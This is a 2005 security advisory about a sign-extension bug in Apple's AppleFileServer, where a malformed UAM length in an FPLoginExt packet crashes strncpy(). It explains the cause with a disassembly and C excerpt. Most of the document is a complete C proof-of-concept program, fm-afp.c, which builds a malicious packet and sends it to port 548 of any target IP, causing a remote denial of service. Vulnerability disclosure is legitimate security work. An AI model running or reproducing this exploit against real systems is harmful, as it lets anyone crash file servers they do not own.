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fL (,__....----''' (,..--'' felinemenace.org
Program: AppleFileServer
Impact: DoS, Possible remote root.
Discovered: 25th January 2005 Braden Thomas.
Advisory written by: nemo -( nemo@xxxxxxxxxxxxxxxx )-, after further
investigation of the bugs.
Writeup and exploits:
1) Background
A sign extending bug in AppleFileServer exists while parsing a FPLoginExt packet.
2) Description
The sign extending bug exists when the AFP server is parsing the UAM string
length from the FPLoginExt packet. The string length is read in as a signed
short and then passed to the strncpy() function without a cast.
This results in a length of greater than 0x7fff to be send to strncpy() as
a signed int, such as 0xffff8000. When interpreted as unsigned by strncpy()
this results in a massive length being used.
This causes the strncpy to die with an EXC_BAD_ACCESS signal on the following instruction:
0x9000b080 <strncpy+288>: dcbz r0,r9 // Dies here.
0x9000b084 <strncpy+292>: addi r9,r9,32
0x9000b088 <strncpy+296>: bdnz+ 0x9000b080 <strncpy+288>
After some investigation it can be seen that these instructions equate to the
following c code from strncpy:
/* NUL pad the remaining n-1 bytes */
while (--n != 0)
*d++ = 0;
Where 'n' is the length argument passed to strncpy and 'd' is the destination
char pointer.
>From research it can be seen that by providing a large number to strncpy() as
the length argument, the stack will be padded with NULL bytes, until a write
to the top of the stack (0xf0102000 in the case of this thread). This is what
causes the EXC_BAD_ACCESS signal, and therefore causes a Denial of Service to
the AFP server.
3) Notes
I was unable to exploit the strncpy() bug in a way that controls execution.
4) Vendor status/notes/fixes/statements
Apple have been notified about this bug.
5) Exploit
Here is a little PoC to crash afp remotely.
<--- fm-afp.c --->
/* [ fm-afp.c ]
* -( nemo @ felinemenace.org )- 2005
*
* Code for afp bug found by Braden Thomas.
*
* Again hello to everyone @ irc.pulltheplug.org
*
* need a challenge? -( http://pulltheplug.org )-
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#define UAMSIZE 1022
#define AFPVERSIZE 5
#define PATHSIZE 30
#define UASIZE 30
#define AFPNSIZE 5
#define AFPPORT 548
#define BUFSIZE sizeof(dsi)+sizeof(fploginext) //+LEN+sizeof(afpEnd)
typedef struct { char AFPVER[AFPVERSIZE] ;} AFPVER_T;
typedef struct { char UAM[UAMSIZE] ;} UAM_T;
typedef struct { char PATH[PATHSIZE] ;} PATH_T;
typedef struct { char UserAuthInfo[UASIZE];} UserAuth_t;
typedef struct { char AFPName[AFPNSIZE] ;} AFPName_t;
typedef struct dsi { // Data Stream Interface.
u_int8_t req;
u_int8_t com;
u_int16_t id;
u_int32_t offset;
u_int32_t len;
u_int32_t reserved;
} DSI_T;
typedef struct FPLoginExt { // Establishes a session with a server using an
Open Directory domain.
u_int8_t command;
u_int8_t pad;
u_int16_t flags;
AFPVER_T AFPVER;
UAM_T UAM;
u_int8_t UserNameType;
AFPName_t UserName;
u_int8_t PathType;
PATH_T Pathname;
u_int8_t pad2;
UserAuth_t UserAuthInfo;
} FP_LoginExt_T;
DSI_T dsi;
FP_LoginExt_T fploginext;
void banner()
{
printf(" [ fm-afp.c ]\n");
printf("-( nemo@xxxxxxxxxxxxxxxx )-\n\n");
}
void usage(char *progname)
{
printf("usage: %s <ip address>.\n",progname);
exit(1);
}
int connect_afp(char *ip,int *sockfd)
{
struct sockaddr_in target_addr;
int len;
*sockfd = socket(AF_INET, SOCK_STREAM, 0);
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons(AFPPORT);
inet_aton(ip, &(target_addr.sin_addr));
memset(&(target_addr.sin_zero), '\0', 8);
if (connect(*sockfd, (struct sockaddr *)&target_addr, sizeof(struct
sockaddr)) == -1) {
return 1;
}
return 0;
}
void generate_packet(char *packet)
{
int n;
dsi.req = '\x00';
dsi.com = '\x02';
dsi.id = (u_int16_t)0x0002;
dsi.offset = 0x00000000;
dsi.len = 0x00000434;
dsi.reserved = 0x00000000;
fploginext.command = (u_int8_t)'\x3f';
fploginext.pad = (u_int8_t)'\x00';
fploginext.flags = (u_int16_t)0x0000;
memcpy((char *)&(fploginext.AFPVER),"\x04\x6e\x65\x6d\x6f",5);
memset((char*)((&fploginext.UAM)),'\x70',sizeof(fploginext.UAM));
fploginext.UAM.UAM[0] = '\x0f';
fploginext.UAM.UAM[1] = '\xff';
fploginext.UAM.UAM[257] = '\xff'; // size of next
string.
fploginext.UAM.UAM[258] = '\xff'; //
fploginext.UAM.UAM[500] = '\x00'; // size of next
string.
fploginext.UAM.UAM[501] = '\xf0'; //
fploginext.UserNameType = (u_int8_t)'\x11';
memcpy((char *)&(fploginext.UserName),"\x54\x6e\x65\x6d\x6f",5);
fploginext.PathType = (u_int8_t)'\xff';
memcpy((char
*)&(fploginext.Pathname),"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",30);
fploginext.pad2 = (u_int8_t)'\xff';
memcpy((char
*)&(fploginext.UserAuthInfo),"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB",30);
memcpy(packet, &dsi, sizeof(dsi));
packet += sizeof(dsi);
memcpy(packet, &fploginext, sizeof(fploginext));
}
int send_packet(char *packet,int *sockfd)
{
if (send(*sockfd, packet, BUFSIZE, 0) == -1) {
return 1;
}
return 0;
}
int main(int ac, char **av)
{
int sockfd;
char packet[BUFSIZE];
struct timeval time;
banner();
if(ac != 2) {
usage(*av);
}
printf("[+] Connecting to target: %s.\n",av[1]);
if(connect_afp(av[1],&sockfd)) {
printf("[-] An error has occured connecting to the
target.\n");
exit(1);
}
printf("[+] Generating malicious packet.\n");
generate_packet(packet);
printf("[+] Sending packet to target.\n");
if(send_packet(packet,&sockfd)) {
printf("[-] Error sending packet.\n");
close(sockfd);
exit(1);
}
fd_set mySet;
FD_ZERO(&mySet);
FD_SET(sockfd, &mySet);
time.tv_sec = 0;
time.tv_usec = 50;
select(sockfd+1, &mySet, NULL, NULL, &time);
close(sockfd);
return 0;
}
